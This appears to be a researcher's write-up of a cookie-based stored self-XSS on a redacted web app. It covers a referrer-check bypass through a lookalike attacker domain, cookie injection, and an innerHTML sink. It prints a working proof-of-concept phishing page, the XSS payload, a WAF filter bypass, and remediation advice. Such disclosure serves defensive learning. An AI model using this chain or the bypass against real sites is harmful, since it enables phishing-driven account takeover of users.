Exploiting Cooke Based Self-XSS

A milding interesting self-xss with some additional security content & best practices worth reviewing.


Table of Contents


Overview

I recently came across an interesting cookie-based XSS. While not novel, it has several opportunities to talk about security-related issues. Below are the technical details of the exploit chain as well as peripheral security-related information worth knowing.

XSS: app.target.com

A cookie-based stored self-XSS exists, leading to potential ATO (Account Takeover).

A bad actor can phish a target.com customer. Once a malicious link is clicked, that browser session will be poisoned such that the next successful login from the user (in that session) will result in XSS once they navigate to a link under app.target.com.

Exploit POC

Host this payload on a site with the subdomain prefix testhbk.target.com for example: https://testhbk.target.com.attacker.com

<!-- host on attacker site: https://testhbk.target.com.attacker.com/... -->

<body></body>
<script>
    const link = document.createElement('a');
    link.href = 'https://app.target.com/path/to/profile?authToken=1&expireDate=06-11-2099&displayName=<img/src=3%20onerror="alert(1)">%3b domain=app.target.com';
    link.target = '_self';   // ensure same tab
    document.body.appendChild(link);
    link.click();
</script>

Attack Flow

  1. User is phished, navigates to: https://testhbk.target.com.attacker.com    - User is redirected to target.com > force logged out (cookies cleared) & a new, tainted profileName cookie is set on domain app.target.com (expires in 400 days/browser maximum)
  2. User logs in while a malicious cookie exists on the browser
  3. Upon navigation to app.target.com (account details, etc.), XSS triggers

Technical Details

Domain verification bypass

Bypass of domain verification logic document.referrer.split(".com")[0] === "https://testhbk.target" as this does not validate if .com was a subdomain.

Attacker site can bypass by redirecting from https://testhbk.target.com.attacker.com

Script except

// auth.js
var refer = false;
if (document.referrer.split(".com")[0] === "https://testhbk.target") {
    refer = true;
} 

if (refer && location.search.length) {
    clearCookies();
 ...

    var data = {};
    data.authToken = urlParam.get("authToken");
    data.expireDate = urlParam.get("expireDate");
    data.profileName = urlParam.get("profileName");
 ...

Once the refer check is bypassed, cookies are cleared and set based on URL params.

This will force log out a logged-in user with an invalid auth token (we set authToken=1). Thus, there is no active session and a user will be prompted to log in.

Eventually, our URL parameter input is passed to this function to set the profileName cookie.

// auth.js
function setCookie(name, value, date, path) {
    var expires = '; expires=' + date.toGMTString();
    document.cookie = name + '=' + value + expires + '; path=' + path + ';secure';
}
// ...
// @audit profile is set to our param displayName 
if (data.displayName != 'undefined') profile = data.displayName;
// ...
setCookie(
    'profileName',
    utils.fmtName(profile),  
    getExpireDate(),
    '/'
);

^ In this function we can inject into the value field. So we inject a malicious XSS payload as well as specify a specific domain app.target.com

Payload:

<img/src=3%20onerror="alert(1)">%3b domain=app.target.com

The domain is used to bypass another app functionality later.

Also note that the parameter in our payload uses URL param expireDate to set the expiration of our new cookie to the max browser default, usually around 400 days.

The refreshSession() function is called upon login and resets a cookie using utils.getCookie()

// auth.js
function refreshSession(force) {
   // ...
   setCookie(
       'profileName',
       utils.getCookie('profileName'),
       expireDate,
       '/'
 );
  //  ...
}
// utils.min.js
getCookie: function (name) {
 var pattern = RegExp("(^| )" + name + "=(|.)[^;]*"),
   matched = document.cookie.match(pattern);
 if (matched) {
   var cookie = matched[0].split('=');
   return cookie[1];
 }
 return '';
},

When refreshSession() triggers, it will reset the cookie to its own value before the =, this means the cookie value cannot have an = in it as it will be stripped when the cookie is reset.

Since the sink is the setting of innerHTML, we require a = to trigger an XSS.

The cookie domain bypass mentioned previously: with our prior cookie injection setting the domain to app.target.com, this subdomain scoped cookie will not be reset by this refreshSession() function call.

Final injection point

When triggering the XSS, the sink of .innerHTML = is set to the value of our cookie via. this javascript tabs-and-nav.min.js

// tabs-and-nav.min.js
var e = document.getElementById("profileName")
 , n = function(e) {
    for (var n = "profileName=", t = document.cookie.split(";"), i = 0; i < t.length; i++) {
        for (var o = t[i]; " " == o.charAt(0); )
            o = o.substring(1);
        if (-1 != o.indexOf(n))
            return o.substring(n.length, o.length)
 }
    return ""
}();
null != e && null != n && "" != n && (e.innerHTML = "Hi, " + n)  // @audit innerHTML set to our malicious cookie value

As well as a banner on the my-profile.html page

// my-profile.html
var bannerDisplayName1 = document.getElementById("bannerName1");
profileName1 = getCookie("profileName");
if (bannerDisplayName1 != null && profileName1 != null && profileName1 != "") {
    bannerDisplayName1.innerHTML = "Hi, " + profileName1;  // @audit < injection point 1
}
var bannerDisplayName2 = document.getElementById("bannerName2");
profileName2 = getCookie("profileName");
if (bannerDisplayName2 != null && profileName2 != null && profileName2 != "") {
    bannerDisplayName2.innerHTML = "Hi, " + profileName2;  // @audit < injection point 2
}

^ Note that the getCookie() functions here are different than the one in util.getCookie() and do not strip the = in the value away.

Notes / Takeaways

  • More robust referrer & access control checks   - Allowing an attacker to trigger test code pathways is no bueno. These checks should be more robust or completely removed from the production code if they are not needed for production workflows.
  • Input sanitization   - User input should be sanitized to prevent cookie injection. Usually, we protect against commonly known injection techniques such as XSS, HTML, SQL, CMD, XML, etc. but data injections such as cookie, JSON, CSV, etc. can also have negative consequences as noted in OWSP’s page on injection attacks.   - Values should be sanitized when presented in the browser, but servers can also sanitize malicious values before saving them to a database. This app had self-XSS in several user profile values.
  • Parallel functions/data structures are discouraged (e.g.: parser differential SAML Example parallel data structure issues)
  • Not sure if a WAF was in place. Payloads like <script> and <img src=1 onerror=alert(1)> were blocked but adding quotes to onerror allowed <img src=1 onerror="alert(1)"> to pass. If it was a WAF, the policy seemed to be very lax. WAFs in prevention mode should be a bit more strict than this, I think.
  • Session cookie was not httpOnly meaning an attacker could have stoken it completely via. the JavaScript XSS payload. This flag should be set so all XSS stops when a user’s browser session stops, long running scripts and enumeration with a victim’s session are killed once the user navigates away from the infected page.

Additional Self-XSS Techniques

References to SSO was also noted in the code as well. While my case was interesting in the sense that we could spoof the referrer domain to make it look like we came from a test site and set a malicious cookie; self-xss has also been exploited in the past with SSO, login/logout CSRF, and open redirects. Additional reading can be found ex1: xss-ato-gadgets and ex2: login-logout-csrf-time-to-reconsider.

Dependency hijacking RCE

I also identified an interesting unregistered dependency exposed in the source code of my target. While I have not exploited it for RCE, I would like to reference this recent article on the same attack vector that was successful on Netflix, a very interesting read and a threat model to consider when publishing applications: 20250610-netflix-vulnerability-dependency-confusion

The inquisitive reader may be interested in learning about Cookie Tossing since setting cookies on one subdomain can be used for XSS in another subdomain as cookies are not subject to same site policies. I did not need this for my exploit but it is related as it entails setting the domain of a cookie.

Remediation

Sanitization of user input is important. Modern frontends usually have some XSS protection built-in and other packages such as DOMPurify are great options. That said, our injection point was an innerHTML assignment. I want to point out that Portswigger’s XSS cheatsheet has a great section called impossible labs which attempts to document different cases where exploitation is known to be currently impossible. One such case is innerHTML requires an = to be exploitable. So a simple .innerHTML = val.replaceAll("=", "&61;") should be sufficient for a quick fix, at least for sanitizing this section of code. This cheat sheet is a great resource if you feel like you are in a situation where your XSS payload is not triggering, it may just be impossible.

innerHTML Portswigger impossible xss

Conclusion

This was an interesting exploitable self-XSS case where I did not need a CSRF login/logout or SSO functionality. I was able to spoof the referrer with a malicious site to trigger a test code path with a cookie injection primitive. While not very novel, I hope the extra links and references in this post were useful and helped instill or remind the reader of important cybersecurity hygiene concepts.





Comments